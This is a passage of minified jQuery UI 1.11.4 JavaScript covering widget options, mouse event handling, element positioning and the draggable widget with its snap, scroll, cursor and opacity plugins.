0===n[t]?null:n[t];n[t]=i}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];o[t]=i}return this._setOptions(o),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return this.options[e]=t,"disabled"===e&&(this.widget().toggleClass(this.widgetFullName+"-disabled",!!t),t&&(this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus"))),this},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_on:function(t,i,s){var n,a=this;"boolean"!=typeof t&&(s=i,i=t,t=!1),s?(i=n=e(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),e.each(s,function(s,o){function r(){return t||a.options.disabled!==!0&&!e(this).hasClass("ui-state-disabled")?("string"==typeof o?a[o]:o).apply(a,arguments):void 0}"string"!=typeof o&&(r.guid=o.guid=o.guid||r.guid||e.guid++);var h=s.match(/^([\w:-]*)\s*(.*)$/),l=h[1]+a.eventNamespace,u=h[2];u?n.delegate(u,l,r):i.bind(l,r)})},_off:function(t,i){i=(i||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.unbind(i).undelegate(i),this.bindings=e(this.bindings.not(t).get()),this.focusable=e(this.focusable.not(t).get()),this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){function i(){return("string"==typeof e?s[e]:e).apply(s,arguments)}var s=this;return setTimeout(i,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){e(t.currentTarget).addClass("ui-state-hover")},mouseleave:function(t){e(t.currentTarget).removeClass("ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){e(t.currentTarget).addClass("ui-state-focus")},focusout:function(t){e(t.currentTarget).removeClass("ui-state-focus")}})},_trigger:function(t,i,s){var n,a,o=this.options[t];if(s=s||{},i=e.Event(i),i.type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),i.target=this.element[0],a=i.originalEvent)for(n in a)n in i||(i[n]=a[n]);return this.element.trigger(i,s),!(e.isFunction(o)&&o.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},e.each({show:"fadeIn",hide:"fadeOut"},function(t,i){e.Widget.prototype["_"+t]=function(s,n,a){"string"==typeof n&&(n={effect:n});var o,r=n?n===!0||"number"==typeof n?i:n.effect||i:t;n=n||{},"number"==typeof n&&(n={duration:n}),o=!e.isEmptyObject(n),n.complete=a,n.delay&&s.delay(n.delay),o&&e.effects&&e.effects.effect[r]?s[t](n):r!==t&&s[r]?s[r](n.duration,n.easing,a):s.queue(function(i){e(this)[t](),a&&a.call(s[0]),i()})}}),e.widget;var a=!1;e(document).mouseup(function(){a=!1}),e.widget("ui.mouse",{version:"1.11.4",options:{cancel:"input,textarea,button,select,option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.bind("mousedown."+this.widgetName,function(e){return t._mouseDown(e)}).bind("click."+this.widgetName,function(i){return!0===e.data(i.target,t.widgetName+".preventClickEvent")?(e.removeData(i.target,t.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void 0}),this.started=!1},_mouseDestroy:function(){this.element.unbind("."+this.widgetName),this._mouseMoveDelegate&&this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(t){if(!a){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(t),this._mouseDownEvent=t;var i=this,s=1===t.which,n="string"==typeof this.options.cancel&&t.target.nodeName?e(t.target).closest(this.options.cancel).length:!1;return s&&!n&&this._mouseCapture(t)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(t)!==!1,!this._mouseStarted)?(t.preventDefault(),!0):(!0===e.data(t.target,this.widgetName+".preventClickEvent")&&e.removeData(t.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(e){return i._mouseMove(e)},this._mouseUpDelegate=function(e){return i._mouseUp(e)},this.document.bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate),t.preventDefault(),a=!0,!0)):!0}},_mouseMove:function(t){if(this._mouseMoved){if(e.ui.ie&&(!document.documentMode||9>document.documentMode)&&!t.button)return this._mouseUp(t);if(!t.which)return this._mouseUp(t)}return(t.which||t.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,t)!==!1,this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){return this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&e.data(t.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(t)),a=!1,!1},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),function(){function t(e,t,i){return[parseFloat(e[0])*(p.test(e[0])?t/100:1),parseFloat(e[1])*(p.test(e[1])?i/100:1)]}function i(t,i){return parseInt(e.css(t,i),10)||0}function s(t){var i=t[0];return 9===i.nodeType?{width:t.width(),height:t.height(),offset:{top:0,left:0}}:e.isWindow(i)?{width:t.width(),height:t.height(),offset:{top:t.scrollTop(),left:t.scrollLeft()}}:i.preventDefault?{width:0,height:0,offset:{top:i.pageY,left:i.pageX}}:{width:t.outerWidth(),height:t.outerHeight(),offset:t.offset()}}e.ui=e.ui||{};var n,a,o=Math.max,r=Math.abs,h=Math.round,l=/left|center|right/,u=/top|center|bottom/,d=/[\+\-]\d+(\.[\d]+)?%?/,c=/^\w+/,p=/%$/,f=e.fn.position;e.position={scrollbarWidth:function(){if(void 0!==n)return n;var t,i,s=e("<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>"),a=s.children()[0];return e("body").append(s),t=a.offsetWidth,s.css("overflow","scroll"),i=a.offsetWidth,t===i&&(i=s[0].clientWidth),s.remove(),n=t-i},getScrollInfo:function(t){var i=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),s=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),n="scroll"===i||"auto"===i&&t.width<t.element[0].scrollWidth,a="scroll"===s||"auto"===s&&t.height<t.element[0].scrollHeight;return{width:a?e.position.scrollbarWidth():0,height:n?e.position.scrollbarWidth():0}},getWithinInfo:function(t){var i=e(t||window),s=e.isWindow(i[0]),n=!!i[0]&&9===i[0].nodeType;return{element:i,isWindow:s,isDocument:n,offset:i.offset()||{left:0,top:0},scrollLeft:i.scrollLeft(),scrollTop:i.scrollTop(),width:s||n?i.width():i.outerWidth(),height:s||n?i.height():i.outerHeight()}}},e.fn.position=function(n){if(!n||!n.of)return f.apply(this,arguments);n=e.extend({},n);var p,m,g,v,y,b,_=e(n.of),x=e.position.getWithinInfo(n.within),w=e.position.getScrollInfo(x),k=(n.collision||"flip").split(" "),T={};return b=s(_),_[0].preventDefault&&(n.at="left top"),m=b.width,g=b.height,v=b.offset,y=e.extend({},v),e.each(["my","at"],function(){var e,t,i=(n[this]||"").split(" ");1===i.length&&(i=l.test(i[0])?i.concat(["center"]):u.test(i[0])?["center"].concat(i):["center","center"]),i[0]=l.test(i[0])?i[0]:"center",i[1]=u.test(i[1])?i[1]:"center",e=d.exec(i[0]),t=d.exec(i[1]),T[this]=[e?e[0]:0,t?t[0]:0],n[this]=[c.exec(i[0])[0],c.exec(i[1])[0]]}),1===k.length&&(k[1]=k[0]),"right"===n.at[0]?y.left+=m:"center"===n.at[0]&&(y.left+=m/2),"bottom"===n.at[1]?y.top+=g:"center"===n.at[1]&&(y.top+=g/2),p=t(T.at,m,g),y.left+=p[0],y.top+=p[1],this.each(function(){var s,l,u=e(this),d=u.outerWidth(),c=u.outerHeight(),f=i(this,"marginLeft"),b=i(this,"marginTop"),D=d+f+i(this,"marginRight")+w.width,S=c+b+i(this,"marginBottom")+w.height,N=e.extend({},y),M=t(T.my,u.outerWidth(),u.outerHeight());"right"===n.my[0]?N.left-=d:"center"===n.my[0]&&(N.left-=d/2),"bottom"===n.my[1]?N.top-=c:"center"===n.my[1]&&(N.top-=c/2),N.left+=M[0],N.top+=M[1],a||(N.left=h(N.left),N.top=h(N.top)),s={marginLeft:f,marginTop:b},e.each(["left","top"],function(t,i){e.ui.position[k[t]]&&e.ui.position[k[t]][i](N,{targetWidth:m,targetHeight:g,elemWidth:d,elemHeight:c,collisionPosition:s,collisionWidth:D,collisionHeight:S,offset:[p[0]+M[0],p[1]+M[1]],my:n.my,at:n.at,within:x,elem:u})}),n.using&&(l=function(e){var t=v.left-N.left,i=t+m-d,s=v.top-N.top,a=s+g-c,h={target:{element:_,left:v.left,top:v.top,width:m,height:g},element:{element:u,left:N.left,top:N.top,width:d,height:c},horizontal:0>i?"left":t>0?"right":"center",vertical:0>a?"top":s>0?"bottom":"middle"};d>m&&m>r(t+i)&&(h.horizontal="center"),c>g&&g>r(s+a)&&(h.vertical="middle"),h.important=o(r(t),r(i))>o(r(s),r(a))?"horizontal":"vertical",n.using.call(this,e,h)}),u.offset(e.extend(N,{using:l}))})},e.ui.position={fit:{left:function(e,t){var i,s=t.within,n=s.isWindow?s.scrollLeft:s.offset.left,a=s.width,r=e.left-t.collisionPosition.marginLeft,h=n-r,l=r+t.collisionWidth-a-n;t.collisionWidth>a?h>0&&0>=l?(i=e.left+h+t.collisionWidth-a-n,e.left+=h-i):e.left=l>0&&0>=h?n:h>l?n+a-t.collisionWidth:n:h>0?e.left+=h:l>0?e.left-=l:e.left=o(e.left-r,e.left)},top:function(e,t){var i,s=t.within,n=s.isWindow?s.scrollTop:s.offset.top,a=t.within.height,r=e.top-t.collisionPosition.marginTop,h=n-r,l=r+t.collisionHeight-a-n;t.collisionHeight>a?h>0&&0>=l?(i=e.top+h+t.collisionHeight-a-n,e.top+=h-i):e.top=l>0&&0>=h?n:h>l?n+a-t.collisionHeight:n:h>0?e.top+=h:l>0?e.top-=l:e.top=o(e.top-r,e.top)}},flip:{left:function(e,t){var i,s,n=t.within,a=n.offset.left+n.scrollLeft,o=n.width,h=n.isWindow?n.scrollLeft:n.offset.left,l=e.left-t.collisionPosition.marginLeft,u=l-h,d=l+t.collisionWidth-o-h,c="left"===t.my[0]?-t.elemWidth:"right"===t.my[0]?t.elemWidth:0,p="left"===t.at[0]?t.targetWidth:"right"===t.at[0]?-t.targetWidth:0,f=-2*t.offset[0];0>u?(i=e.left+c+p+f+t.collisionWidth-o-a,(0>i||r(u)>i)&&(e.left+=c+p+f)):d>0&&(s=e.left-t.collisionPosition.marginLeft+c+p+f-h,(s>0||d>r(s))&&(e.left+=c+p+f))},top:function(e,t){var i,s,n=t.within,a=n.offset.top+n.scrollTop,o=n.height,h=n.isWindow?n.scrollTop:n.offset.top,l=e.top-t.collisionPosition.marginTop,u=l-h,d=l+t.collisionHeight-o-h,c="top"===t.my[1],p=c?-t.elemHeight:"bottom"===t.my[1]?t.elemHeight:0,f="top"===t.at[1]?t.targetHeight:"bottom"===t.at[1]?-t.targetHeight:0,m=-2*t.offset[1];0>u?(s=e.top+p+f+m+t.collisionHeight-o-a,(0>s||r(u)>s)&&(e.top+=p+f+m)):d>0&&(i=e.top-t.collisionPosition.marginTop+p+f+m-h,(i>0||d>r(i))&&(e.top+=p+f+m))}},flipfit:{left:function(){e.ui.position.flip.left.apply(this,arguments),e.ui.position.fit.left.apply(this,arguments)},top:function(){e.ui.position.flip.top.apply(this,arguments),e.ui.position.fit.top.apply(this,arguments)}}},function(){var t,i,s,n,o,r=document.getElementsByTagName("body")[0],h=document.createElement("div");t=document.createElement(r?"div":"body"),s={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},r&&e.extend(s,{position:"absolute",left:"-1000px",top:"-1000px"});for(o in s)t.style[o]=s[o];t.appendChild(h),i=r||document.documentElement,i.insertBefore(t,i.firstChild),h.style.cssText="position: absolute; left: 10.7432222px;",n=e(h).offset().left,a=n>10&&11>n,t.innerHTML="",i.removeChild(t)}()}(),e.ui.position,e.widget("ui.draggable",e.ui.mouse,{version:"1.11.4",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this.element.addClass("ui-draggable"),this.options.disabled&&this.element.addClass("ui-draggable-disabled"),this._setHandleClassName(),this._mouseInit()},_setOption:function(e,t){this._super(e,t),"handle"===e&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(".ui-draggable-dragging")?(this.destroyOnClear=!0,void 0):(this.element.removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled"),this._removeHandleClassName(),this._mouseDestroy(),void 0)},_mouseCapture:function(t){var i=this.options;return this._blurActiveElement(t),this.helper||i.disabled||e(t.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(t),this.handle?(this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0):!1)},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map(function(){var t=e(this);return e("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var i=this.document[0];if(this.handleElement.is(t.target))try{i.activeElement&&"body"!==i.activeElement.nodeName.toLowerCase()&&e(i.activeElement).blur()}catch(s){}},_mouseStart:function(t){var i=this.options;return this.helper=this._createHelper(t),this.helper.addClass("ui-draggable-dragging"),this._cacheHelperProportions(),e.ui.ddmanager&&(e.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return"fixed"===e(this).css("position")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",t)===!1?(this._clear(),!1):(this._cacheHelperProportions(),e.ui.ddmanager&&!i.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this._normalizeRightBottom(),this._mouseDrag(t,!0),e.ui.ddmanager&&e.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(e){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:e.pageX-this.offset.left,top:e.pageY-this.offset.top}},_mouseDrag:function(t,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",t,s)===!1)return this._mouseUp({}),!1;this.position=s.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var i=this,s=!1;return e.ui.ddmanager&&!this.options.dropBehaviour&&(s=e.ui.ddmanager.drop(this,t)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||e.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?e(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",t)!==!1&&i._clear()}):this._trigger("stop",t)!==!1&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),e.ui.ddmanager&&e.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.focus(),e.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear(),this},_getHandle:function(t){return this.options.handle?!!e(t.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this.handleElement.addClass("ui-draggable-handle")},_removeHandleClassName:function(){this.handleElement.removeClass("ui-draggable-handle")},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper),n=s?e(i.helper.apply(this.element[0],[t])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return n.parents("body").length||n.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&n[0]===this.element[0]&&this._setPositionRelative(),n[0]===this.element[0]||/(fixed|absolute)/.test(n.css("position"))||n.css("position","absolute"),n},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_isRootNode:function(e){return/(html|body)/i.test(e.tagName)||e===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var e=this.element.position(),t=this._isRootNode(this.scrollParent[0]);return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+(t?0:this.scrollParent.scrollTop()),left:e.left-(parseInt(this.helper.css("left"),10)||0)+(t?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,n=this.options,a=this.document[0];return this.relativeContainer=null,n.containment?"window"===n.containment?(this.containment=[e(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,e(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,e(window).scrollLeft()+e(window).width()-this.helperProportions.width-this.margins.left,e(window).scrollTop()+(e(window).height()||a.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):"document"===n.containment?(this.containment=[0,0,e(a).width()-this.helperProportions.width-this.margins.left,(e(a).height()||a.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):n.containment.constructor===Array?(this.containment=n.containment,void 0):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=e(n.containment),s=i[0],s&&(t=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(t?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void 0):(this.containment=null,void 0)},_convertPositionTo:function(e,t){t||(t=this.position);var i="absolute"===e?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:t.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:t.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(e,t){var i,s,n,a,o=this.options,r=this._isRootNode(this.scrollParent[0]),h=e.pageX,l=e.pageY;return r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),t&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,e.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),e.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),e.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),e.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),o.grid&&(n=o.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/o.grid[1])*o.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-o.grid[1]:n+o.grid[1]:n,a=o.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/o.grid[0])*o.grid[0]:this.originalPageX,h=i?a-this.offset.click.left>=i[0]||a-this.offset.click.left>i[2]?a:a-this.offset.click.left>=i[0]?a-o.grid[0]:a+o.grid[0]:a),"y"===o.axis&&(h=this.originalPageX),"x"===o.axis&&(l=this.originalPageY)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this.helper.removeClass("ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_normalizeRightBottom:function(){"y"!==this.options.axis&&"auto"!==this.helper.css("right")&&(this.helper.width(this.helper.width()),this.helper.css("right","auto")),"x"!==this.options.axis&&"auto"!==this.helper.css("bottom")&&(this.helper.height(this.helper.height()),this.helper.css("bottom","auto"))},_trigger:function(t,i,s){return s=s||this._uiHash(),e.ui.plugin.call(this,t,[i,s,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),e.Widget.prototype._trigger.call(this,t,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),e.ui.plugin.add("draggable","connectToSortable",{start:function(t,i,s){var n=e.extend({},i,{item:s.element});s.sortables=[],e(s.options.connectToSortable).each(function(){var i=e(this).sortable("instance");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger("activate",t,n))})},stop:function(t,i,s){var n=e.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,e.each(s.sortables,function(){var e=this;e.isOver?(e.isOver=0,s.cancelHelperRemoval=!0,e.cancelHelperRemoval=!1,e._storedCSS={position:e.placeholder.css("position"),top:e.placeholder.css("top"),left:e.placeholder.css("left")},e._mouseStop(t),e.options.helper=e.options._helper):(e.cancelHelperRemoval=!0,e._trigger("deactivate",t,n))})},drag:function(t,i,s){e.each(s.sortables,function(){var n=!1,a=this;a.positionAbs=s.positionAbs,a.helperProportions=s.helperProportions,a.offset.click=s.offset.click,a._intersectsWith(a.containerCache)&&(n=!0,e.each(s.sortables,function(){return this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==a&&this._intersectsWith(this.containerCache)&&e.contains(a.element[0],this.element[0])&&(n=!1),n
})),n?(a.isOver||(a.isOver=1,s._parent=i.helper.parent(),a.currentItem=i.helper.appendTo(a.element).data("ui-sortable-item",!0),a.options._helper=a.options.helper,a.options.helper=function(){return i.helper[0]},t.target=a.currentItem[0],a._mouseCapture(t,!0),a._mouseStart(t,!0,!0),a.offset.click.top=s.offset.click.top,a.offset.click.left=s.offset.click.left,a.offset.parent.left-=s.offset.parent.left-a.offset.parent.left,a.offset.parent.top-=s.offset.parent.top-a.offset.parent.top,s._trigger("toSortable",t),s.dropped=a.element,e.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,a.fromOutside=s),a.currentItem&&(a._mouseDrag(t),i.position=a.position)):a.isOver&&(a.isOver=0,a.cancelHelperRemoval=!0,a.options._revert=a.options.revert,a.options.revert=!1,a._trigger("out",t,a._uiHash(a)),a._mouseStop(t,!0),a.options.revert=a.options._revert,a.options.helper=a.options._helper,a.placeholder&&a.placeholder.remove(),i.helper.appendTo(s._parent),s._refreshOffsets(t),i.position=s._generatePosition(t,!0),s._trigger("fromSortable",t),s.dropped=!1,e.each(s.sortables,function(){this.refreshPositions()}))})}}),e.ui.plugin.add("draggable","cursor",{start:function(t,i,s){var n=e("body"),a=s.options;n.css("cursor")&&(a._cursor=n.css("cursor")),n.css("cursor",a.cursor)},stop:function(t,i,s){var n=s.options;n._cursor&&e("body").css("cursor",n._cursor)}}),e.ui.plugin.add("draggable","opacity",{start:function(t,i,s){var n=e(i.helper),a=s.options;n.css("opacity")&&(a._opacity=n.css("opacity")),n.css("opacity",a.opacity)},stop:function(t,i,s){var n=s.options;n._opacity&&e(i.helper).css("opacity",n._opacity)}}),e.ui.plugin.add("draggable","scroll",{start:function(e,t,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(t,i,s){var n=s.options,a=!1,o=s.scrollParentNotHidden[0],r=s.document[0];o!==r&&"HTML"!==o.tagName?(n.axis&&"x"===n.axis||(s.overflowOffset.top+o.offsetHeight-t.pageY<n.scrollSensitivity?o.scrollTop=a=o.scrollTop+n.scrollSpeed:t.pageY-s.overflowOffset.top<n.scrollSensitivity&&(o.scrollTop=a=o.scrollTop-n.scrollSpeed)),n.axis&&"y"===n.axis||(s.overflowOffset.left+o.offsetWidth-t.pageX<n.scrollSensitivity?o.scrollLeft=a=o.scrollLeft+n.scrollSpeed:t.pageX-s.overflowOffset.left<n.scrollSensitivity&&(o.scrollLeft=a=o.scrollLeft-n.scrollSpeed))):(n.axis&&"x"===n.axis||(t.pageY-e(r).scrollTop()<n.scrollSensitivity?a=e(r).scrollTop(e(r).scrollTop()-n.scrollSpeed):e(window).height()-(t.pageY-e(r).scrollTop())<n.scrollSensitivity&&(a=e(r).scrollTop(e(r).scrollTop()+n.scrollSpeed))),n.axis&&"y"===n.axis||(t.pageX-e(r).scrollLeft()<n.scrollSensitivity?a=e(r).scrollLeft(e(r).scrollLeft()-n.scrollSpeed):e(window).width()-(t.pageX-e(r).scrollLeft())<n.scrollSensitivity&&(a=e(r).scrollLeft(e(r).scrollLeft()+n.scrollSpeed)))),a!==!1&&e.ui.ddmanager&&!n.dropBehaviour&&e.ui.ddmanager.prepareOffsets(s,t)}}),e.ui.plugin.add("draggable","snap",{start:function(t,i,s){var n=s.options;s.snapElements=[],e(n.snap.constructor!==String?n.snap.items||":data(ui-draggable)":n.snap).each(function(){var t=e(this),i=t.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:i.top,left:i.left})})},drag:function(t,i,s){var n,a,o,r,h,l,u,d,c,p,f=s.options,m=f.snapTolerance,g=i.offset.left,v=g+s.helperProportions.width,y=i.offset.top,b=y+s.helperProportions.height;for(c=s.snapElements.length-1;c>=0;c--)h=s.snapElements[c].left-s.margins.left,l=h+s.snapElements[c].width,u=s.snapElements[c].top-s.margins.top,d=u+s.snapElements[c].height,h-m>v||g>l+m||u-m>b||y>d+m||!e.contains(s.snapElements[c].item.ownerDocument,s.snapElements[c].item)?(s.snapElements[c].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[c].item})),s.snapElements[c].snapping=!1):("inner"!==f.snapMode&&(n=m>=Math.abs(u-b),a=m>=Math.abs(d-y),o=m>=Math.abs(h-v),r=m>=Math.abs(l-g),n&&(i.position.top=s._convertPositionTo("relative",{top:u-s.helperProportions.height,left:0}).top),a&&(i.position.top=s._convertPositionTo("relative",{top:d,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h-s.helperProportions.width}).left),r&&(i.position.left=s._convertPo